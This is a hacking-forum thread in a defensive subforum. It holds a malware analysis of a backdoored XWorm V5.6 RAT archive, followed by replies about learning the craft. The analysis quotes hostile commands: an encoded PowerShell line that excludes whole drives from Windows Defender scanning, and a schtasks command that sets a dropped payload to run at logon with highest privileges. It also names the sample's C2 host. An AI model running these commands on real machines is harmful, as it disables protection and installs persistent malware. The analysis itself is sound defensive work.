![]() |
|
[MRT-X] [Malware Analysis] XWorm V5.6 | backdoored XWorm - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448) +---- Forum: White Hat Hacking (https://hackforums.net/forumdisplay.php?fid=400) +---- Thread: [MRT-X] [Malware Analysis] XWorm V5.6 | backdoored XWorm (/showthread.php?tid=6299616) |
[Malware Analysis] XWorm V5.6 | backdoored XWorm - Bastille - Jun 5, 2025 ![]() ![]() Tool shared : XWorm V5.6 (BroadCom Article) Quote:May 21, 2024 The Github repo has been removed, but I've git cloned it few days ago. File downloaded : "XWorm V5.6 @[REDACTED].zip" Size of the archive : 24.2MB MD5 Hash : 76bae88272302cc6324809a89cb02a12 SHA256 Hash : 139bdaadb2ac0c6912571bd6075e1f217ce16267cbda3579ff8613d62ccafb04 VirusTotal Report : https://www.virustotal.com/gui/file/139bdaadb2ac0c6912571bd6075e1f217ce16267cbda3579ff8613d62ccafb04/details Detection : 0/65 The file is not detected as malicious mainly because it is a password-protected ZIP archive. In such cases, VirusTotal can’t do much, as this is a technique frequently used by malicious actors to trick victims. 1. OVERVIEW The zip archive contains many files, I've checked most of them, 2 DLL are flagged as malicious, the .bat file contains nothing really interesting. On VirusTotal all of these files are associated with other XWorm archive files, so they seem to be common to it. ![]() The most interesting file :
![]() In this sample, we can see several layers of .NET packers being used (dotNetProtector, Dotfuscator, Goliath, Babel, ConfuserEx, SmartAssembly). - These packers are mostly free or easily pirated and commonly used in malware builders or by beginner threat actors. - The goal is to achieve FUD (Fully Undetectable) in scantime by stacking multiple packers to evade static detections (YARA, AV). - This technique is widespread in commodity malware such as stealers, RATs (like XWorm), and builders circulating in underground forums. While effective against simple antivirus engines, this kind of multi-packing is considered basic obfuscation — advanced actors typically use custom or polymorphic packers with in-memory unpacking and anti-analysis features. As there are many packers used and that I don't want to waste time unpacking every layer, we'll jump straight to the dynamic analysis part. On VirusTotal, in the "Relations" tab, we can see that many files are dropped, and two of them are flagged as malicious : - config.exe (39/78) - RunetimeBroker.exe (37/71) ![]() There is an encoded powershell command executed : Code "pwsh.exe" -EncodedCommand PAAjAHMAbgBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AbgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAbgB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAdwBmACMAPgA=I've used the following website to decode : https://www.base64decode.org/ , don't forget to choose "UTF-16LE" when you want to decode base64 encoded powershell commads, here is de decoded part : Code <#sna#>Add-MpPreference <#mny#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#vnx#> -Force <#zwf#>We can remove the content between the < >, it's used to trick detection tools such as YARA : Code Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -ForceThis command adds the whole disk to the exclusion path, meaning Windows Defender will not scan the dropped files. 2. DROPPED FILES [config.exe] Filename identified as : XWorm.exe MD5 hash : 062213ce89d21085fbde03ea3c9a3fce SHA2 hash : 26fb7f32baefb3e04409782a0b024feb6f8e03ad73a6630ac692a61e429c8fc9 VirusTotal Report : https://www.virustotal.com/gui/file/26fb7f32baefb3e04409782a0b024feb6f8e03ad73a6630ac692a61e429c8fc9 Similar to XWorm.exe above, except that it doesn't contain the PowerShell commands that drops the payload. Sounds to be a "legit" executable, executed once the payload (RuntimeBroker.exe) has been downloaded. [RuntimeBroker.exe] Filename identified as : svchost.exe MD5 hash : 920883e2c0ca8c66be07543bc0b73907 SHA2 : dafc46e46a351729b7c418cceca124c3dbdd8062bda5c314adfc7dec35f535eb VirusTotal Report : https://www.virustotal.com/gui/file/dafc46e46a351729b7c418cceca124c3dbdd8062bda5c314adfc7dec35f535eb Packed the same way as the main XWorm.exe file and the file above. > Sheduled Task creation detected : Code "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C: sers\Bruno\AppData\Local\Temp\svchost.exe"' & exitConnection with : TCP 193.161.XXX.XXX:22295 (notepad-22295.portmap.io) TCP 193.161.XXX.XXX:7777 (notepad-22295.portmap.io) The malware establishes TCP connections to 193.161.XXX.XXX on ports 22295 and 7777. The part in parentheses (notepad-22295.portmap.io) is a reverse DNS entry — it points to portmap.io, a dynamic port forwarding service often used by threat actors to hide their real C2 servers and bypass network restrictions. In this case, it's likely used for C2 communication and/or a reverse shell. As the program seems to be working, it's qualified as a Trojan ![]() The next interesting step would be to try to remove the malicious payloads (PowerShell command and the dropped files) to see how it goes, but as the program is multi-packed I doubt it would be easy. RE: [Malware Analysis] XWorm V5.6 | backdoored XWorm - Bastille - Jun 5, 2025 (Jun 5, 2025 07:49 AM)m0hx Wrote: Nice job Bastille, feel free to dm me any samples u wan me to look at :D Hey buddy, thanks ! Don't forget that we have the Hunting Board in MRT-X subforum for the samples to analyze :p There are few threads sharing software that are interesting, especially one. I've quickly checked it but didn't find anything, but I'm still doubtful. RE: [Malware Analysis] XWorm V5.6 | backdoored XWorm - HankiePankie - Jun 5, 2025 Nice job. I wish I could do this!! RE: [Malware Analysis] XWorm V5.6 | backdoored XWorm - Bastille - Jun 5, 2025 (Jun 5, 2025 08:55 AM)HankiePankie Wrote: Nice job. Thanks mate ! Working on some guides for the forum. Feel free to check the analysis reports, I try to make them quite easy to understand so people can learn from them directly. Here is the thread of all the analysis : https://hackforums.net/showthread.php?tid=6276795 Over time they became more complete and structured And if you have any question about this topic or another one feel free to open a thread and ask, the forum is here for that ! RE: [Malware Analysis] XWorm V5.6 | backdoored XWorm - HankiePankie - Jun 5, 2025 (Jun 5, 2025 08:59 AM)Bastille Wrote: Thanks mate ! Working on some guides for the forum. Feel free to check the analysis reports, I try to make them quite easy to understand so people can learn from them directly. Guides would be damn good for me/others. RE: [Malware Analysis] XWorm V5.6 | backdoored XWorm - Bastille - Jun 5, 2025 (Jun 5, 2025 09:07 AM)HankiePankie Wrote: Guides would be damn good for me/others. What's your objective ? What do you want to do ? What are your current knowledge / skills in this field or IT in general ? Malware analysis is a wide field, with different levels, are you already familiar with VirusTotal ? Linux ? Do you want to work in cybersecurity ? Do you want to do malware analysis to protect yourself ? Feel free to provide details RE: [Malware Analysis] XWorm V5.6 | backdoored XWorm - HankiePankie - Jun 5, 2025 Bug bounties mainly. Small knowledge of Database Bumping/SQLi. Used to do coding. (Python). |